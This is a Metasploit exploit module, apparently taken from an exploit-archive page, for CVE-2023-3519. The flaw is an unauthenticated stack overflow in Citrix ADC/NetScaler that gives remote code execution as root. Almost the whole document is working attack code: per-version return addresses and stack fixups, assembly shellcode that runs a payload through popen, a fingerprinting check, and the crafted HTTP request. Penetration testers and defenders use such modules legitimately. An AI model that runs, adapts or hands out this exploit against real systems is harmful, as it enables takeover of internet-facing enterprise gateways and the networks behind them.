Citrix ADC (NetScaler) Remote Code Execution

Related Vulnerabilities: CVE-2023-3519  
Publish Date: 04 Aug 2023
                							

                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Citrix ADC (NetScaler) Forms SSO Target RCE',
        'Description' => %q{
          A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer
          overflow of the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in
          remote code execution as root.
        },
        'Author' => [
          'Ron Bowes', # Analysis and module
          'Douglass McKee', # Analysis and module
          'Spencer McIntyre', # Just the module
        ],
        'References' => [
          ['CVE', '2023-3519'],
          ['URL', 'https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519'],
          ['URL', 'https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467']
        ],
        'DisclosureDate' => '2023-07-18',
        'License' => MSF_LICENSE,
        'Platform' => ['unix'],
        'Arch' => [ARCH_CMD],
        'Payload' => {
          # at a certain point too much of the stack will get corrupted, should be less than target['fixup_rsp_adjustment']
          'Space' => 2048,
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Citrix ADC 13.1-48.47',
            {
              'fixup_return' => 0x00782403, # pop rbx; ns_aaa_cookie_valid
              'fixup_rsp_adjustment' => 0x13a8,
              'popen' => 0x01da6340,
              'return' => 0x00611ae9, # jmp rsp; ns_create_cfg_nsp
              'return_offset' => 168
            },
          ],
          [
            'Citrix ADC 13.1-37.38',
            {
              'fixup_return' => 0x0077c324, # pop rbx; ns_aaa_cookie_valid
              'fixup_rsp_adjustment' => 0x13a8,
              'popen' => 0x01d7e320,
              'return' => 0x015d131d, # jmp rsp; tfocookie_send_callback
              'return_offset' => 168
            },
          ],
          [
            'Citrix ADC 13.0-91.12',
            {
              'fixup_return' => 0x008530a2, # mov rbx, qword [rbp-0x28]; ns_aaa_cookie_valid
              'fixup_rsp_adjustment' => 0x12e0,
              # in this version the epilogue of ns_aaa_cookie_valid reads directly from rbp and since the exploit
              # clobbers it, the value needs to be restored
              'fixup_rbp_adjustment' => 0x190,
              'popen' => 0x01f42ec0,
              'return' => 0x024883bf, # jmp rsp; ns_pixl_eval_nvlist_t_typecast_list_t_dynamic
              'return_offset' => 168
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'WfsDelay' => 10
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'LogonPoint', 'index.html')
    })

    return CheckCode::Unknown if res.nil?

    return CheckCode::Safe unless res.code == 200 && res.body =~ /<title class="_ctxstxt_NetscalerGateway">/

    CheckCode::Detected
  end

  def exploit
    shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, Template.render(<<-SHELLCODE, target: target)).encode_string
      call loc_popen_arg1
        ; add this to the path for python payloads
        db "export PATH=/var/python/bin:$PATH;"
        db "#{Rex::Text.to_hex(payload.encoded)}", 0
      loc_popen_arg1:
        pop  rdi

      call loc_popen_arg2
        db "r", 0
      loc_popen_arg2:
        pop rsi

        mov  rax, <%= target['popen'] %>
        sub  rsp, 0x200
        call rax

      loc_return:
        xor rax, rax
        add rsp, <%= target['fixup_rsp_adjustment'] + 0x200 %>
        <% if target['fixup_rbp_adjustment'] %>
        mov rbp, rsp
        add rbp, <%= target['fixup_rbp_adjustment'] %>
        <% end %>
        push     <%= target['fixup_return'] %>
        ret
    SHELLCODE

    buffer = rand_text_alphanumeric(target['return_offset'])
    buffer << [target['return']].pack('Q')
    buffer << shellcode.bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join

    send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'gwtest', 'formssso'),
      'encode_params' => false,  # we'll encode them ourselves
      'vars_get' => {
        'event' => 'start',
        'target' => buffer
      }
    })
  end

  class Template
    def self.render(template, context = nil)
      case context
      when Hash
        b = binding
        locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
        b.eval(locals.join)
      when NilClass
        b = binding
      else
        raise ArgumentError
      end

      b.eval(Erubi::Engine.new(template).src)
    end
  end
end
<p>